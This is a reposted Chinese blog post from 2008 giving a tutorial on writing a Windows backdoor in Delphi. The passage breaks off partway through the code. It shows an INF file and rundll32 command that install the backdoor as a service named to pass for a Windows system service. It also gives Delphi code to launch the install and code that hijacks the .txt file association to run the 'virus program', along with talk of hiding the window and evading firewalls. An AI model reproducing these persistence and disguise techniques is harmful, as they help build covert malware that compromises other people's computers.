关于开发系统后门软件的几点思路

2008-04-09 04:21:45来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

关于开发系统后门软件的几点思路
作者:Delphiscn(cnBlaster#sohu.com)
http://blog.csdn.net/Delphiscn
注释:这只是一篇临时的学习笔记

目录
1、前言
2、系统加载
3、文件关联
4、攻击控制
5、文件隐匿
6、附言

前言
现在的系统后门软件数不胜数,但大都有一个通病,就是系统加载方面很容易被精明的老鸟们察觉。而且遇上类似“天网”或是“金山网镖”的网络防火墙基本上就没戏了。前些天在网上看到了一篇名叫《Do all in cmd shell》的文章,里面关于程序加载的方式比较巧妙,对基于NT的2000\XP这样的系统基本上已经可以做到通用了。在此我用Delphi,并模仿一些经典后门软件的功能写一个Backdoor,希望与各位高手共同交流编程经验,也算是复习一下以前学习的知识:)

系统加载
读到这里,估计很多朋友会立即联想到HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run和Win.ini中的Load。没错,不过从实战角度出发,现在再用这样的启动方式已经有点落后了。而且如果你的程序实现的功能很多,但如果在启动方面出了问题,不是一件很郁闷的事吗?在此,根据 《Do all in cmd shell》作者的思路,我们可以自己写一个inf文件,利用这个文件配置一个系统服务程序。这样,我们的后门就可以在不知不觉中,随系统服务一起启动了。(不过此方案有一个局限性:只适用于NT\2000\XP)这里引用作者的原文:

现在,让我们用inf来添加一个系统服务
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Description=提供对 Internet 信息服务管理的支持。
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary=%\inetsvr.exe
保存为inetsvr.inf,然后
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %systemroot%\system32\inetsvr.inf(在这里我对原文做了点修改)
[注:%systemroot%是个环境变量,假设你的系统文件夹是C:\Windows,那么%systemroot%的路径就是C:\Windows(一般为98或是XP)假设你的系统文件夹为C:\winnt,那么%systemroot%的路径则为C:\winnt(一般为2K)]
这个例子增加一个名为inetsvr的服务(是不是很像系统自带的服务,呵呵)。
几点说明:
1,最后四项分别是
服务类型:0x10为独立进程服务,0x20为共享进程服务(比如svchost);
启动类型:0 系统引导时加载,1 OS初始化时加载,2 由SCM(服务控制管理器)自动启
动,3 手动启动,4 禁用。
(注意,0和1只能用于驱动程序)
错误控制:0 忽略,1 继续并警告,2 切换到LastKnownGood的设置,3 蓝屏。
服务程序位置:%表示system32目录,%表示系统目录(WINNT或Windows),%
12%为驱动目录system32\drivers。其他取值参见DDK。你也可以不用变量,直接使用全路
径。
这四项是必须要有的。
2,除例子中的六个项目,还有LoadOrderGroup、Dependencies等。不常用所以不介绍
了。
3,inetsvr后面有两个逗号,因为中间省略了一个不常用的参数flags。
删除一个服务:
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
DelService=inetsvr
很简单,不是吗?

下面的步骤就是要在Delphi中调用这个inf安装服务。我们可以使用shellExecute这个函数,具体用法为
shellExecute(handle,nil,pchar(''''rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %systemroot%\system32\inetsvr.inf''''),nil,nil,sw_shownormal);
我觉得这里的sw_shownormal有点不是很好,因为在这个参数下。cmd shell的窗口是可见的,不知道你们有没有什么好的办法?但是,我觉得shellExecute函数有一个好处-------如果应用程序找不到inf,在电脑屏幕上不会有任何的反映。简单的说,就是不会报错:)当然,如果你不放心那也可以使用GetWindowsDirectory函数对inf文件进行绝对定位,不过在这里我觉得好象没有这个必要。
疑惑:在这里我们的共享类型ServiceType=0x10属于独立进程服务。估计这个病毒要访问Internet时会遭到防火墙的拦截。但是象类似svchost、lsass这样的共享进程服务却不会,如果我们把ServiceType的值改为0x20我想情况会有所改观,不过在这里我没有深入研究。

文件关联
按照惯例,我们可以对txt文本关联进行修改,将注册表中的键值指向我们的后门程序。下面这段代码可以做到这一点:)
var
Backdoor: TRegistry;
FileExt:String;
FileType:String;
FileDescription:String;
ExecName:String;
WinDir:String;
begin
FileExt:=''''.txt'''';
FileType:=''''文本文档'''';
FileDescription:=''''文本文档'''';

SetLength(WinDir,128);//获取Windows目录
GetWindowsDirectory(PChar(WinDir),128);
SetLength(WinDir,StrLen(PChar(WinDir)));
ExecName:=WinDir ''''\system32\inetsvr.exe'''';//这里的inetsvr.exe是我们的病毒程序

Backdoor:=TRegistry.Create;//创建注册表对象
try
Backdoor.RootKey:=HKEY_CLASSES_ROOT;//注册表根键
if not Backdoor.OpenKey(FileExt, True) then Exit; //当在注册表中创建文件类型失败时退出,一般是注册表错误
Backdoor.WriteString('''''''',FileType);//写文件类型数据
Backdoor.CloseKey;

if not Backdoor.OpenKey(FileType,True) then//打开文件类型FileType关键字

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:由演示程序 coolstuf 而找到的工具栏错位问题

下一篇:用DELPHI开发AUTHORWARE的u32